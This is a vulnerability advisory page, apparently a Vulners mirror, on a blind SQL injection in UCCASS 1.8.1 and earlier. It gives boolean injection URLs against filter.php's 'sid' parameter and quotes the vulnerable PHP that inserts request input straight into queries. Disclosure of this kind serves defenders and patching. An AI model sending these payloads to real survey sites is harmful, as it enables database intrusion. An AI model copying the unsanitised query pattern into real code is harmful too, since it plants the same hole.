Lucene search
K

UCCASS <= 1.8.1 - Blind SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

UCCASS v1.8.1 - Blind SQL Injection Vulnerability in filter.ph

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM
	
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-22                              ]
 #################################################################
 #  [ UCCASS &#60;= v1.8.1 ]  Blind SQL Injection Vulnerability      #
 #################################################################
 #
 # Script: &#34;The Unit Command Climate Assessment and Survey System (UCCASS) (pronounced yoo-kas)
 #          is a PHP based survey script that allows you to create online surveys...&#34;
 #
 # Vendor:   http://sourceforge.net/projects/uccass/
 # Download: http://sourceforge.net/projects/uccass/files/latest/download
 #
 ################################################################
 #
 # [SQL]
 #
 # Versions affected: v1.8.1 and previous
 #
 # Vuln: http://localhost/uccass/filter.php?sid=-1 or 1=1-- (true)
 #       http://localhost/uccass/filter.php?sid=-1 or 1=2-- (false)
 #

   File: ./uccass/filter.php
   ...cut...
   &#60;?php

   include(&#39;classes/main.class.php&#39;);
   include(&#39;classes/results.class.php&#39;);                 // 1 definition of filter function

   $survey = new UCCASS_Results;

   echo $survey-&#62;com_header(&#34;Filter Survey Results&#34;);

   echo $survey-&#62;filter($_REQUEST[&#39;sid&#39;]);               // 2 unfiltered $_REQUEST[&#39;sid&#39;] var

   echo $survey-&#62;com_footer();

   ?&#62;
   ...cut...

   File: ./uccass/classes/results.class.php ( lines: 441-479 )
   ...cut...
   function filter($sid)
   {
        $x = 0;
        $qid_list = &#39;&#39;;

        foreach($_REQUEST[&#39;select_qid&#39;] as $qid)
        { $qid_list .= (int)$qid . &#39;,&#39;; }
        $qid_list = substr($qid_list,0,-1);

        $query = &#34;SELECT at.aid, q.qid, q.question, s.survey_text_mode
                  FROM {$this-&#62;CONF[&#39;db_tbl_prefix&#39;]}answer_types at,
                  {$this-&#62;CONF[&#39;db_tbl_prefix&#39;]}questions q, {$this-&#62;CONF[&#39;db_tbl_prefix&#39;]}surveys s
                  WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN (&#39;MM&#39;,&#39;MS&#39;)   // 3 [SQL]
                  AND q.sid = s.sid
                  ORDER BY q.page, q.oid&#34;;
        $rs = $this-&#62;db-&#62;Execute($query);

        $old_aid = &#39;&#39;;
        if($rs === FALSE) { $this-&#62;error(&#34;Error selecting filter questions: &#34; . $this-&#62;db-&#62;ErrorMsg()); }
        if($r = $rs-&#62;FetchRow())
        {
            do
            {
                $question[&#39;question&#39;][] = nl2br($this-&#62;SfStr-&#62;getSafeString($r[&#39;question&#39;],$r[&#39;survey_text_mode&#39;]));
                $question[&#39;encquestion&#39;][] = $this-&#62;SfStr-&#62;getSafeString($r[&#39;question&#39;],SAFE_STRING_TEXT);
                $question[&#39;aid&#39;][] = $r[&#39;aid&#39;];
                $question[&#39;qid&#39;][] = $r[&#39;qid&#39;];
                $temp = $this-&#62;get_answer_values($r[&#39;aid&#39;],BY_AID,$r[&#39;survey_text_mode&#39;]);
                $question[&#39;value&#39;][] = $temp[&#39;value&#39;];
                $question[&#39;avid&#39;][] = $temp[&#39;avid&#39;];
                $x++;
            }while($r = $rs-&#62;FetchRow());
            $this-&#62;smarty-&#62;assign(&#34;question&#34;,$question);
        }
        $rs = $this-&#62;db-&#62;Execute(&#34;SELECT MIN(entered) AS mindate,
                                  MAX(entered) AS maxdate FROM
                                  {$this-&#62;CONF[&#39;db_tbl_prefix&#39;]}results WHERE sid = $sid&#34;);                   // 4 [SQL]
        if($rs === FALSE) { $this-&#62;error(&#34;Error selecting min/max survey dates: &#34; . $this-&#62;db-&#62;ErrorMsg()); }
        $r = $rs-&#62;FetchRow();
   ...cut...

 ### [ dun / 2012 ] #####################################################
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation